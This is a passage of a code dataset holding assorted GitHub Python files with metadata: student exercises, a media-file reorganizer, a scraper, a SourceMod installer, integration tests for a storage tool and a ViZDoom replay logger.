subscription for you is The second subscription\")\n\n\"\"\"\nused inputs ex3\n1\n13\n14\n18\n19\n6\n11\n\"\"\"\n# ex4\nprint (\"ex4\")\nname = \"\"\nNumStudentGradeAbove95 = 0\n# starting a loop\nwhile name != \"FINISH\":\n # asking the user for a name input\n name = input(\"Please enter a name: \")\n if name != \"FINISH\": # if name is not FINISH the system asks for a grade input\n grade = int(input(\"Please enter the grade: \"))\n print (f\"the name is {name} and the grade is {grade}\") # system prints out the name and the grade\n if grade >= 95:\n NumStudentGradeAbove95 = NumStudentGradeAbove95 + 1\nprint (NumStudentGradeAbove95, \"students grade is above 95\") # system prints out the number of students that their grade is above 95 \n\"\"\"\nused inputs ex4\na - 12\nb - 95\nc - 90\nd - 100\nh - 98\nFINISH\n\na - 95 \nb - 85\nc - 90\nd - 99\nh - 100\n\"\"\"\n# ex5\nprint (\"ex5\")\nfactOfNum = 1\n# system asks for a number to do for him factorial\nnumForFact = int(input(\"Please enter a number that u want to calculate factorial for: \"))\n# in the loop system is calculating the factorial\nwhile numForFact != 0:\n factOfNum = numForFact * factOfNum\n numForFact = numForFact - 1\nprint(factOfNum) # system prints the factorial for the number\n\"\"\"\nused inputs ex5\n0\n4\n6\n12\n5\n16\n\"\"\"\n#ex6\nprint(\"ex6\")\n# setting def vars\nPNum = 1\nNumOfNum = 0\ntotalNum = 0\n# while the numbers are positive whe loop goes on\nwhile PNum > 0:\n PNum = float(input(\"Please enter a number: \"))\n # if the number is a positive number its adding him into the total and 1 to the count of nums\n if PNum > 0:\n NumOfNum = NumOfNum + 1\n totalNum = totalNum + PNum\n# calculating and printing the average and the number of nums inputted\nprint (f\"The number of numbers you entered are {NumOfNum} and the average of the numbers is\",totalNum/NumOfNum)\n\"\"\"\nused inputs ex6\n1\n4\n6\n-2\n\n1\n5\n7\n2\n56\n8\n0\n\"\"\"","repo_name":"ABDtheking/School","sub_path":"ex3_Aylon.BenDvora.py","file_name":"ex3_Aylon.BenDvora.py","file_ext":"py","file_size_in_byte":3938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"22807717828","text":"#!/usr/bin/env python3\n\n\"\"\"\n restructure.py reorganizes files from an XQD card into an organized package. To be expanded\n to handle other card formats and to handle multiple cards in one package.\n Last Revised: 2023-04-26\n\"\"\"\n\nimport subprocess\nimport sys\nimport os\nimport shutil \n\n# drag in your package\n\ntry:\n rawpackage = sys.argv[1]\nexcept IndexError:\n print(f'usage: restructurerawfootage.py [package]')\n\n# create a camera logs metadata directory\n\ncamera_log_path_xdroot = os.path.join(rawpackage, \"metadata/logs/camera/XDROOT\")\n\ncamera_log_path_clip = os.path.join(rawpackage, \"metadata/logs/camera/XDROOT/Clip\")\n\n\nif not os.path.exists(camera_log_path_clip):\n os.makedirs(camera_log_path_clip)\n print(f'creating a folder called {camera_log_path_clip}')\nelse:\n print(f'{camera_log_path_clip} already exists')\n\n# Move camera logs into a metadata/logs/camera folder\n\nfor root, dirs, files in os.walk(rawpackage, topdown=False):\n\n for name in files:\n file_name = os.path.join(root, name)\n\n searchstring_cueup = 'CUEUP.XML'\n searchstring_discmeta = 'DISCMETA.XML'\n searchstring_mediapro = 'MEDIAPRO.XML'\n\n if searchstring_cueup in file_name:\n try:\n shutil.move(file_name, camera_log_path_xdroot)\n except shutil.Error:\n continue\n \n if searchstring_discmeta in file_name:\n try:\n shutil.move(file_name, camera_log_path_xdroot)\n except shutil.Error:\n continue\n \n if searchstring_mediapro in file_name:\n try:\n shutil.move(file_name, camera_log_path_xdroot)\n except shutil.Error:\n continue\n\n if file_name.endswith('.BIM'):\n try:\n shutil.move(file_name, camera_log_path_clip)\n except shutil.Error:\n continue\n \n searchstring_clip = 'Clip' \n\n if searchstring_clip in file_name:\n if file_name.endswith('.XML'):\n try:\n shutil.move(file_name, camera_log_path_clip)\n except shutil.Error:\n continue\n\n\n# create an objects directory if there isn't one. \n\nobjectspath = os.path.join(rawpackage, \"objects\")\n\nif not os.path.exists(objectspath):\n os.mkdir(objectspath)\n\n# move XDROOT folder if it is not in objects directory already\n\nxdroot_path = os.path.join(rawpackage, \"XDROOT\")\n\nif os.path.exists(objectspath) and os.path.exists(xdroot_path):\n shutil.move(xdroot_path, objectspath)\nelse:\n print(f'XDROOT folder was already in an objects folder. No need to move it')\n\n# Delete empty folders\n\nfor root, dirs, files in os.walk(rawpackage, topdown=False):\n\n for empty in dirs:\n if len(os.listdir(os.path.join(root, empty))) == 0:\n os.rmdir(os.path.join(root, empty))\n else:\n print(f'{(os.path.join(root,empty))} is not empty. These will not be removed')\n\n\n","repo_name":"cunytv/imm","sub_path":"restructurerawfootage.py","file_name":"restructurerawfootage.py","file_ext":"py","file_size_in_byte":2988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"21055408700","text":"import requests\nimport pandas as pd\nfrom time import sleep, time\n\nYEAR = 2022\n\nclass Scraper:\n def __init__(self):\n self.last_updated = int(time())\n\n self.df = pd.DataFrame()\n self.update_df()\n\n def start(self):\n print(\"Scraper started\")\n while True:\n sleep(1)\n self.update_df()\n\n def save_df(self):\n timestamp = int(time())\n self.df.to_csv(f\"times_{YEAR}.csv\")\n self.df.to_csv(f\"backup/times_{YEAR}_{timestamp}.csv\")\n print(f\"Saved df to csv on {timestamp}\")\n\n def fetch_data(self):\n # response = requests.get(f\"http://data.24urenloop.be/scores-{YEAR}.json\")\n try:\n response = requests.get(f\"http://127.0.0.1:8000/scores-{YEAR}.json\")\n except:\n print(\"Failed to connect\")\n return {'time': int(time())}\n\n if response.text:\n return response.json()\n else:\n return {'time': int(time())}\n\n def update_df(self):\n data = self.fetch_data()\n\n if data is None or'teams' not in data:\n return\n\n if data['time'] >= self.last_updated:\n self.last_updated = data['time']\n new_row = {team['name']:team['laps'] for team in data['teams']}\n new_row[\"time\"] = data['time']\n new_df = pd.DataFrame.from_records([new_row], index='time')\n self.df = pd.concat([self.df, new_df])\n\n if data['time'] % 60 == 0:\n self.save_df()\n\nif __name__ == '__main__':\n scraper = Scraper()\n scraper.start()\n\n\n","repo_name":"hiasr/24ul-analytics","sub_path":"scraper/scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":1568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"45113910496","text":"input_data = input()\n\nrow = int(input_data[1])\ncolumn = int(ord(input_data[0]))-int(ord('a')) + 1 \n#ord함수로 행의 값(문자)을 아스키코드값으로 변환하고 'a'의 아스키코드값을 뺀 값에 1을 더하면 인덱스값이 된다\n# 예) 'a'의 아스키코드 값은 97이므로 행값을'a'로 넣으면 97 - 97 + 1 = 1 이 된다. \n\n#ord(char)함수는 문자를 아스키코드값으로 변환시켜주는 함수이다\n#ord함수의 반대 함수는 chr(int)함수이다\n\ntypes = [(-2,-1),(-1,-2),(1,-2),(2,-1),(2,1),(1,2),(-1,2),(-2,1)]\n#types = [[-2,-1],[-1,-2],[1,-2],[2,-1],[2,1],[1,2],[-1,2],[-2,1]]\n\n#[]리스트, ()는 튜플이다\n#사용법은 거의 동일하지만 차이점은 튜플에서는 추가, 수정, 삭제가 불가능하다\n#즉, types같이 거의 변하지않는 상수같은 값을 정의할 때 사용한다\n#또한 반복문에서 리스트보다 빠르며, 보안(무결성)에 좋다 \n#추가로 {}는 딕셔너리인데 안에 항목의 순서는 정의가 되어있지않고 키:값으로 구성된다\n#딕셔너리에 append함수같은 순서랑 관련 된 함수를 사용하면 오류난다\n\ncount = 0\n\nfor type in types:\n v_row = row + type[0]\n v_column = column + type[1]\n\n if v_row < 1 or v_row > 8 or v_column < 1 or v_column > 8:\n continue\n count+=1\n\nprint(count)","repo_name":"nsy5687/codingteststudy.github.io","sub_path":"구현/왕실의 나이트.py","file_name":"왕실의 나이트.py","file_ext":"py","file_size_in_byte":1347,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"12235861717","text":"#!/usr/bin/env python3\nnumbers = []\ntotal = 0\n\ndef get_mediana(value):\n x = 0\n mediana = int(value/2)\n while value > 0:\n if x == 0:\n x = 1\n elif x == 1:\n x = 0\n value -= 1\n if x == 1:\n mediana = numbers [mediana]\n if x == 0:\n x = numbers [mediana]\n y = numbers [mediana - 1]\n mediana = (x+y)/2\n return mediana\nwhile True:\n answer = input (\"Введите число или нажмите Enter для подсчета:\")\n if not answer:\n break\n try:\n number = int(answer)\n except ValueError as err:\n print(\"Неправильный ввод, пожалуйста введите целое число\")\n continue\n total += number\n numbers.append (number) \nhighest = numbers[0]\nfor highestcount in numbers:\n if highestcount > highest:\n highest = highestcount\n \nlowest = numbers[0]\nfor lowestcount in numbers:\n if lowestcount < lowest:\n lowest = lowestcount\ncount = total//len(numbers)\nprint (numbers)\nprint (\"Всего цифр:\", len(numbers))\nprint (\"Всего цифр:\", len(numbers),\"Наименьшее число:\", lowest,\"Наибольшее число:\", highest,\"Среднее значение:\", count, 'Медиана:', get_mediana(len(numbers)))","repo_name":"antikuz/Learning-and-Puzzles","sub_path":"python3_sammerfield_introduction/average2.py","file_name":"average2.py","file_ext":"py","file_size_in_byte":1325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"30705872557","text":"import datetime\nfrom datetime import datetime\ntry:\n date = input(\"please enter the date DD-MM-YY :\")\n date_obj = datetime.strptime(date, '%d-%m-%Y')\n print(date_obj.strftime('%A'))\n print(date_obj.strftime('%A %B %Y'))\n \nexcept ValueError:\n print(\"Invalid date.\")\n\n#########################################################\n\nimport pandas as pd\ntry:\n date = input(\"please enter the date DD-MM-YY :\")\n df = pd.Timestamp(date)\n print(df.dayofweek, df.day_name())\nexcept ValueError:\n print(\"Invalid date.\")\n######################################################\n\nfrom datetime import datetime\nweekDays = (\"Monday\",\"Tuesday\",\"Wednesday\",\"Thursday\",\"Friday\",\"Saturday\",\"Sunday\")\nwhile True:\n try:\n date1 = datetime.strptime(input('Please enter a date in \"Month/Day/Year\" format: '),'%m/%d/%Y')\n except:\n print('Your input is not a valid date')\n else:\n print(f\"{date1.date()} is {weekDays[date1.weekday()]}\")\n\n###################################################################\n\nimport datetime\ndef is_date_valid():\n try:\n date = input(\"Please enter a valid date (DD-MM-YYYY): \")\n conv_date = datetime.datetime.strptime( date, \"%d-%m-%Y\" )\n print(conv_date)\n except Exception as e:\n print ('Exception type is:', e.__class__.__name__)\n # print_exc()\n return print(\"Invalid Entry\")\n else:\n return print(conv_date.strftime(\"%A\"))\n\n\n\n","repo_name":"akkocah/Python","sub_path":"Pyhton Addict/30-weekofday.py","file_name":"30-weekofday.py","file_ext":"py","file_size_in_byte":1441,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"38163276166","text":"from django.template import Context, loader\nfrom django.shortcuts import render_to_response\nimport discogs_client as discogs\n\n# Create your views here.\ndef home(request):\n\tdiscogs.user_agent = 'TimeLP/0.1'\n\tcollection = discogs.User('neutralino1').collection(sort='year', order='desc')#, per_page=40)\n\tyears = []\n\tfor y in range(collection[0].year, collection[-1].year, -1):\n\t\tyears.append({'year': y, 'releases': [r for r in collection if r.year == y]})\n\treturn render_to_response('home.html', {'years':years})","repo_name":"neutralino1/TimeLP","sub_path":"timelp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"8449850725","text":"#!/usr/bin/python3\n\n\"\"\"\nSourceMod installer / updater script with cross-platform support and no external Python\ndependencies.\n\nThis requires Python 3.8+, as it uses the dirs_exist_ok kwarg in shutil.copytree() and\nf-strings.\n\"\"\"\n\nimport urllib.request\nimport tempfile\nimport shutil\nimport os\nimport pathlib\nimport contextlib\nimport sys\nimport functools\n\nLICENSE_PROMPT = \"\"\"\\\nSourceMod is licensed under GPLv3. For more information, see https://www.sourcemod.net/license.php\nYou must acknolwedge and comply with the license agreement to install and use SourceMod.\nProceed with installation?\"\"\"\n\n@contextlib.contextmanager\ndef deferred_file_remove(file, *args, **kwargs):\n\t\"\"\" Opens a file for access, deleting it once the context is closed. \"\"\"\n\tf = open(file, *args, **kwargs)\n\ttry:\n\t\tyield f\n\tfinally:\n\t\tf.close()\n\t\tos.remove(file)\n\n@functools.lru_cache()\ndef get_version_from_branch(branch):\n\t\"\"\"\n\tA really dumb scraping mechanism to identify the version associated with a branch.\n\tValid branches include 'stable' and 'dev' (alias of 'master').\n\t\n\tI'd prefer to not have to use this, but SourceMod hasn't implemented the functionality in\n\ttheir redirect script.\n\t\"\"\"\n\timport urllib.request\n\timport html.parser\n\t\n\tclass LinkExtractor(html.parser.HTMLParser):\n\t\tdef __init__(self):\n\t\t\tsuper(LinkExtractor, self).__init__()\n\t\t\tself.refs = set()\n\t\t\n\t\tdef handle_starttag(self, tag, attrs):\n\t\t\tif tag != 'a':\n\t\t\t\treturn\n\t\t\tfor name, value in attrs:\n\t\t\t\tif name == 'href':\n\t\t\t\t\tself.refs.add(value)\n\t\n\tparser = LinkExtractor()\n\tr = urllib.request.Request(\n\t\turl = f'https://www.sourcemod.net/downloads.php?branch={branch}',\n\t\theaders = { \"User-Agent\": \"SourceMod Update Utility\" }\n\t)\n\twith urllib.request.urlopen(r) as data:\n\t\tpage = data.read().decode(data.headers.get_content_charset())\n\t\tparser.feed(page)\n\t\n\t# find some downloadable file and return its directory name\n\tfor ref in filter(lambda l: '.zip' in l, parser.refs):\n\t\tpath = pathlib.PurePosixPath(ref)\n\t\treturn path.parent.name\n\treturn None\n\ndef confirm(*args, **kwargs):\n\t\"\"\"\n\tUtility function that prompts the user with a confirmation.\n\t\n\tReturns True / False if the user provided any input, None if not an interactive terminal or\n\tif the input is invalid.\n\t\n\tContains a 'default' kwarg that can be set to True to allow by default.\n\t\"\"\"\n\timport distutils.util\n\timport itertools\n\t\n\tif sys.stdin.isatty() and sys.stdout.isatty():\n\t\tconfirmation = '[Y/n]' if kwargs.pop(\"default\", False) else '[y/N]'\n\t\tprompt = ' '.join(itertools.chain(args, [ confirmation, '' ]))\n\t\ttry:\n\t\t\treturn distutils.util.strtobool(input(prompt))\n\t\texcept ValueError:\n\t\t\tpass\n\treturn None\n\ndef main():\n\timport platform\n\timport argparse\n\timport pydoc\n\t\n\tparser = argparse.ArgumentParser(description = \"Installs or upgrades SourceMod.\")\n\t\n\tparser.add_argument(\"directory\", help = \"the server's game directory\",\n\t\t\ttype = pathlib.Path)\n\t\n\t# autodetects platform (assumes this works correctly for windows / linux / mac)\n\tparser.add_argument(\"--platform\", help = \"the server's operating system\",\n\t\t\tdefault = platform.system())\n\t\n\tparser.add_argument(\"--version\", help = \"the SourceMod version to install\",\n\t\t\tdefault = \"1.10\")\n\tparser.add_argument(\"--branch\", help = \"the SourceMod branch to install (resolves version)\")\n\t\n\tparser.add_argument(\"--url\", help = \"a URL to a SourceMod package to install \"\n\t\t\t\"(ignores version / os / branch)\")\n\t\n\tparser.add_argument(\"--archive\", help = \"an existing package to install; \"\n\t\t\t\"either compressed file or directory \"\n\t\t\t\"(ignores version / os / branch / url)\", type = pathlib.Path)\n\t\n\tparser.add_argument(\"--no-upgrade-plugins\", help = \"plugins will not be copied from \"\n\t\t\t\"upgrade package (ignored if first time installing)\", action = \"store_true\")\n\t\n\targs = parser.parse_args()\n\t\n\tparams = {\n\t\t'version': args.version,\n\t\t'os': args.platform.lower()\n\t}\n\t\n\tif args.branch:\n\t\tresolved_version = get_version_from_branch(args.branch)\n\t\tif resolved_version:\n\t\t\tparams['version'] = resolved_version\n\t\t\tprint(f\"Resolved branch name {args.branch} to version {resolved_version}\")\n\t\telse:\n\t\t\traise ValueError(f\"Failed to resolve branch name {args.branch}\")\n\t\n\tr = urllib.request.Request(\n\t\turl = f'https://sourcemod.net/latest.php?{urllib.parse.urlencode(params)}',\n\t\theaders = { \"User-Agent\": \"SourceMod Update Utility\"}\n\t)\n\t\n\tif args.url:\n\t\tr.full_url = args.url\n\t\n\ttempname = None\n\tpackage = None\n\t\n\tif args.archive and args.archive.exists():\n\t\tif args.archive.is_file():\n\t\t\t# use local archive\n\t\t\twith tempfile.NamedTemporaryFile(delete = False, suffix = ''.join(args.archive.suffixes)) as local,\\\n\t\t\t\t\topen(args.archive, mode = 'rb') as remote:\n\t\t\t\tshutil.copyfileobj(remote, local)\n\t\t\t\ttempname = local.name\n\t\telif args.archive.is_dir():\n\t\t\t# use unpacked archive\n\t\t\tpackage = args.archive\n\telse:\n\t\t# download file from internet\n\t\twith urllib.request.urlopen(r) as remote:\n\t\t\tpkg = pathlib.Path(urllib.parse.urlsplit(remote.geturl()).path.split('/')[-1])\n\t\t\tprint('Downloading SourceMod package', pkg)\n\t\t\twith tempfile.NamedTemporaryFile(delete = False, suffix = ''.join(pkg.suffixes)) as local:\n\t\t\t\tshutil.copyfileobj(remote, local)\n\t\t\t\ttempname = local.name\n\t\n\twith contextlib.ExitStack() as es:\n\t\tif tempname:\n\t\t\tarchive_file = es.enter_context(deferred_file_remove(tempname, 'rb'))\n\t\t\tpackage = es.enter_context(tempfile.TemporaryDirectory())\n\t\t\tshutil.unpack_archive(archive_file.name, package)\n\t\t\n\t\tif not package:\n\t\t\tprint(\"No archive file specified\")\n\t\t\tsys.exit(1)\n\t\t\n\t\tpath_sm = pathlib.Path('addons', 'sourcemod')\n\t\t\n\t\tif not (args.directory / path_sm).exists():\n\t\t\t# first install, make sure that user acknowledges license\n\t\t\tprint(\"Performing full install of SourceMod.\")\n\t\t\twith open(package / path_sm / 'LICENSE.txt', 'rt') as license:\n\t\t\t\tpydoc.pager(license.read())\n\t\t\tprint()\n\t\t\tresult = confirm(LICENSE_PROMPT)\n\t\t\t\n\t\t\tif result:\n\t\t\t\tshutil.copytree(package, args.directory, dirs_exist_ok = True)\n\t\t\t\tprint(\"Installation complete.\");\n\t\t\t\tsys.exit(0)\n\t\t\telse:\n\t\t\t\tprint(\"Installation cancelled.\")\n\t\t\t\tsys.exit(1)\n\t\t\n\t\t# replace the contents of `bin/` and `configs/geoip/`\n\t\tfor d in { ('bin',), ('configs', 'geoip') }:\n\t\t\tsd = path_sm / pathlib.Path(*d)\n\t\t\tif (args.directory / sd).exists():\n\t\t\t\tshutil.rmtree(args.directory / sd)\n\t\t\tif (package / sd).exists():\n\t\t\t\tshutil.copytree(package / sd, args.directory / sd, dirs_exist_ok = False)\n\t\t\n\t\t# update the contents of `configs/sql-init-scripts/`, `extensions/`, `scripting/`,\n\t\t# `translations` without touching other existing files\n\t\tfor d in { ('configs', 'sql-init-scripts'), ('extensions',), ('scripting',), ('translations',) }:\n\t\t\tsd = path_sm / pathlib.Path(*d)\n\t\t\tif (package / sd).exists():\n\t\t\t\tshutil.copytree(package / sd, args.directory / sd, dirs_exist_ok = True)\n\t\t\n\t\tif args.no_upgrade_plugins:\n\t\t\tprint(\"Skipping install of plugins.\")\n\t\telse:\n\t\t\t# map installed plugin filenames to paths; copy unknown files to disabled\n\t\t\ttarget_plugin_dir = args.directory / path_sm / 'plugins'\n\t\t\tinstalled_plugins = { f.name: f.parent for f in target_plugin_dir.rglob(\"*.smx\") }\n\t\t\tfor plugin in (package / path_sm / 'plugins').rglob(\"*.smx\"):\n\t\t\t\ttarget = installed_plugins.get(plugin.name, target_plugin_dir / 'disabled')\n\t\t\t\tshutil.copyfile(plugin, target / plugin.name)\n\t\t\t\t\n\t\t\t\tprint(plugin.name, 'copied to', target.relative_to(args.directory / path_sm))\n\t\tprint(\"Upgrade complete.\")\n\nif __name__ == \"__main__\":\n\tmain()\n","repo_name":"nosoop/py-sourcemod-installer","sub_path":"sourcemod_installer/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":7370,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"70718844004","text":"#!/usr/bin/python3\n\nimport subprocess, argparse, shlex, re\nfrom time import sleep\nfrom misc_functions import print_then_exit\n\nrun_options = ['put','get','exist']\n\ndef run_tests(behaviour, args):\n try:\n print(f'Running bobp -b {str(behaviour)} {args.rstrip()}')\n p = subprocess.check_output(shlex.split(f'./bobp -b {behaviour} {args.rstrip()}')).decode('ascii')\n print(str(p))\n if behaviour in {'put', 'get'}:\n if not 'total err: 0' in str(p):\n print_then_exit(f'{behaviour} test failed, see output')\n elif behaviour == 'exist':\n found_exist = re.search(r'\\b[0-9]{1,}\\sof\\s[0-9]{1,}\\b', str(p))\n if not found_exist:\n print_then_exit(f\"No {behaviour} output captured, check output\")\n exists = found_exist.group(0).split(' of ')\n if exists[0] != exists[1]:\n print_then_exit(f\"{exists[0]} of {exists[1]} keys, {behaviour} test failed, see output\")\n else:\n print(f\"{exists[0]} of {exists[1]} keys\")\n else:\n print_then_exit('Unknown behaviour.') \n except subprocess.CalledProcessError as e:\n print_then_exit(str(e.stderr))\n except Exception as e:\n print_then_exit(str(e))\n\ndef make_args(raw_args):\n args_str = ''\n for key in raw_args:\n if raw_args.get(key) != None:\n args_str += f'{key} {raw_args.get(key)} '\n return args_str\n\ndef run_doubled_exist_test(run_args, expected_exist_keys):\n try:\n run_args['-c'] = expected_exist_keys * 2 + 1\n run_args['-s'] = 5001\n run_args['-t'] = 1\n args = make_args(run_args)\n print(f'Running bobp -b exist {args.rstrip()}')\n p = subprocess.check_output(shlex.split(f'./bobp -b exist {args.rstrip()}')).decode('ascii')\n print(str(p))\n found_exist = re.search(r'\\b[0-9]{1,}\\sof\\s[0-9]{1,}\\b', str(p))\n if not found_exist:\n print_then_exit(f\"No exist output captured, check output\")\n exists = found_exist.group(0).split(' of ')\n if int(exists[0]) != expected_exist_keys:\n print_then_exit(f\"{exists[0]} of {exists[1]} keys, expected {expected_exist_keys} of {exists[1]} instead, exist test failed, see output\")\n else:\n print(f\"{exists[0]} of {exists[1]} keys\")\n except subprocess.CalledProcessError as e:\n print_then_exit(str(e.stderr))\n except Exception as e:\n print_then_exit(str(e))\n\ndef get_run_args(mode, args, run_conf):\n return {'-c':args.count, '-l':args.payload, '-h':f'{args.node}', '-f':args.first, '-t':args.threads, '--mode':args.mode, '-k':args.keysize, '-p':run_conf.get(mode), \n '--user':args.user, '--password':args.password}\n\nparser = argparse.ArgumentParser(description='This script launches bob tests with given configuration.')\nparser.add_argument('-c', dest='count', type=int, help='amount of entries to process', required=True)\nparser.add_argument('-l', dest='payload', type=int, help='payload in bytes', required=True)\nparser.add_argument('-n', dest='node', type=str, help='target node address', required=True)\nparser.add_argument('-f', dest='first', type=int, help='first index', default=0)\nparser.add_argument('-t', dest='threads', type=int, help='amount of working threads', default=1)\nparser.add_argument('--mode', dest='mode', type=str, help='random or normal', choices=['random', 'normal'], default='normal')\nparser.add_argument('-k', dest='keysize', type=int, help='size of binary key (8 or 16)', choices=[8, 16], default=8)\nparser.add_argument('-nodes_amount', dest='nodes_amount', type=int, required=True, help='Amount of bob nodes.')\nparser.add_argument('-transport_min_port', dest='transport_min_port', type=int, required=True, help='Port of the first bob container.')\nparser.add_argument('--user', dest='user', type=str, help='Username for bob basic authentification')\nparser.add_argument('--password', dest='password', type=str, help='Password for bob basic authentification')\n\nparsed_args = parser.parse_args()\n\ntest_run_config = dict()\niter = 0\ntry:\n for item in run_options:\n test_run_config[item]=str(parsed_args.transport_min_port + (iter % int(parsed_args.nodes_amount))) #used in get_run_args()\n iter += 1\nexcept ValueError:\n print_then_exit('Args had unexpected values.')\n\n#run put/get/exist tests\nfor item in run_options:\n args_str = str()\n run_args = get_run_args(item, parsed_args, test_run_config)\n args_str = make_args(run_args)\n run_tests(item, args_str)\n\n#run doubled range exist\nrun_args = get_run_args(item, parsed_args, test_run_config)\nrun_doubled_exist_test(run_args, parsed_args.count)","repo_name":"qoollo/bob","sub_path":"integration-tests/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":4678,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"52"} +{"seq_id":"5807956167","text":"import threading;\n\nfrom .dxConfig import dxConfig;\nfrom .fDumpPythonFrame import fDumpPythonFrame;\n\noOutputLock = threading.RLock();\n\ndef fDumpTraceback(oTraceback, sPrefix = \"\", bExpand = True):\n oOutputLock.acquire();\n try:\n uIndex = 0;\n if bExpand:\n print(\"--[ Traceback ]\".ljust(80, \"-\"));\n while oTraceback:\n uIndex += 1;\n if oTraceback.tb_frame:\n print(\"%sTB#%d %s @ %s%s%d\" % (\n sPrefix, uIndex,\n oTraceback.tb_frame.f_code.co_name,\n oTraceback.tb_frame.f_code.co_filename,\n dxConfig[\"sLineNumberAfterPathPrefix\"],\n oTraceback.tb_lineno\n ));\n fDumpPythonFrame(oTraceback.tb_frame, sPrefix = sPrefix + \" \", bExpand = bExpand);\n else:\n print(\"%sTB#%d ???/%d\" % (sPrefix, oTraceback.tb_lineno));\n if not bExpand:\n return;\n oTraceback = oTraceback.tb_next;\n print(\"-\" * 80);\n finally:\n oOutputLock.release();","repo_name":"SkyLined/mDebugOutput","sub_path":"fDumpTraceback.py","file_name":"fDumpTraceback.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"37104701896","text":"class InformationCategorize:\n def __init__(self,txt):\n self.txt = txt\n self.judul_start = 1\n self.judul_end = 0\n self.nama = 0\n self.nim = 0\n self.keyword_end = len(txt)-1\n self.keyword_start = 0\n self.isi_start = 0\n self.isi_end = 0\n\n if self.judul_start >= len(txt):\n self.judul_start = 0\n self.keyword_end = 0\n else:\n self.process_information()\n\n\n def process_information(self):\n max_line = 5\n ln = []\n len_of_char = []\n i = self.judul_start+1\n for i in range(self.judul_start+1,len(self.txt)):\n split = self.txt[i]\n if \"oleh\" in split[0].lower() or \"by\" in split[0].lower():\n break\n\n #check the colon\n if len(split) == 2:\n if len(split[1]) == 1:\n break\n\n ln.append(i)\n len_of_char.append(len(\"\".join(split)))\n if i-self.judul_start > max_line:\n #most minimal\n i = ln[len_of_char.index(min(len_of_char))]\n break\n self.judul_end = i\n self.nama = self.judul_end+1\n self.nim = self.nama+1\n\n #keyword\n self.keyword_start = self.keyword_end\n if \"kata kunci\" not in \" \".join(self.txt[self.keyword_end]).lower() and \"keyword\" not in \" \".join(self.txt[self.keyword_end]).lower():\n if len(\"\".join(self.txt[self.keyword_end])) < len(\"\".join(self.txt[self.keyword_end-1])):\n self.keyword_start = self.keyword_end-1\n\n #isi\n self.isi_start = self.nim+1\n self.isi_end = self.keyword_start-1\n\n\n\n def get_all(self):\n return {\"judul_start\":self.judul_start,\"judul_end\":self.judul_end,\"nama\":self.nama,\"nim\":self.nim,\"isi_start\":self.isi_start,\"isi_end\":self.isi_end,\"keyword_start\":self.keyword_start,\"keyword_end\":self.keyword_end}\n","repo_name":"fajryhamzah/SVM-Skripsi-Abstract-Character-Recognition","sub_path":"SVM/information_categorize.py","file_name":"information_categorize.py","file_ext":"py","file_size_in_byte":1940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"39658969881","text":"# 녹화 파일 (lmp)에서 log 데이터를 뽑아줌\n\nimport os\nimport json\nimport numpy as np\nimport vizdoom as vzd\nimport matplotlib as plt\nimport matplotlib.pyplot as plt\n\nfrom time import *\nfrom time import sleep\nfrom datetime import datetime, timedelta\nfrom agent.banlencedAgent import *\nfrom agent.RunnerAgent import *\nfrom agent.HiderAgent import *\nfrom log.vizdoom_log_util import *\n\nRECORD_FILE_NAME = \"agent-aimer-1.lmp\"\nLOG_FILE_NAME = \"log.json\"\n\nheads = ['time', 'timestamp', 'ATTACK', 'SPEED', 'STRAFE', 'MOVE_RIGHT', 'MOVE_LEFT', 'MOVE_BACKWARD', 'MOVE_FORWARD', 'TURN_RIGHT', 'TURN_LEFT', 'USE', 'SELECT_WEAPON1', 'SELECT_WEAPON2', 'SELECT_WEAPON3', 'SELECT_WEAPON4', 'SELECT_WEAPON5', 'SELECT_WEAPON6', 'SELECT_NEXT_WEAPON', 'SELECT_PREV_WEAPON', 'LOOK_UP_DOWN_DELTA', 'TURN_LEFT_RIGHT_DELTA', 'MOVE_LEFT_RIGHT_DELTA', 'KILLCOUNT', 'HEALTH', 'ARMOR', 'SELECTED_WEAPON', 'SELECTED_WEAPON_AMMO']\nlog_data = []\n\nif __name__ == '__main__':\n game = vzd.DoomGame()\n\n # New render settings for replay\n game.set_screen_resolution(vzd.ScreenResolution.RES_800X600)\n game.set_render_hud(True)\n\n game.set_mode(vzd.Mode.SPECTATOR)\n game.load_config(os.path.join('../../../scenarios', \"deathmatch.cfg\"))\n game.set_screen_resolution(vzd.ScreenResolution.RES_640X480)\n game.set_window_visible(True)\n game.set_objects_info_enabled(True)\n game.set_sectors_info_enabled(True)\n game.set_labels_buffer_enabled(True)\n game.init()\n # Replays episodes stored in given file. Sending game command will interrupt playback.\n game.replay_episode(RECORD_FILE_NAME)\n\n t = 0\n while not game.is_episode_finished():\n game.advance_action()\n\n state = game.get_state()\n now_time = str(datetime.utcnow() + timedelta(hours=9))\n elp_time = time()-t\n\n last_action = game.get_last_action()\n variables = state.game_variables\n var = np.concatenate(([now_time], [elp_time], last_action, variables), axis=0)\n basic = {}\n for j, name in enumerate(heads):\n basic[name] = var[j]\n\n state_data = get_state_log(state)\n state_data[\"basic\"] = basic\n log_data.append(state_data)\n\n\n log_data = json.dumps(log_data)\n with open(LOG_FILE_NAME, \"w\") as f:\n f.write(log_data)\n\n 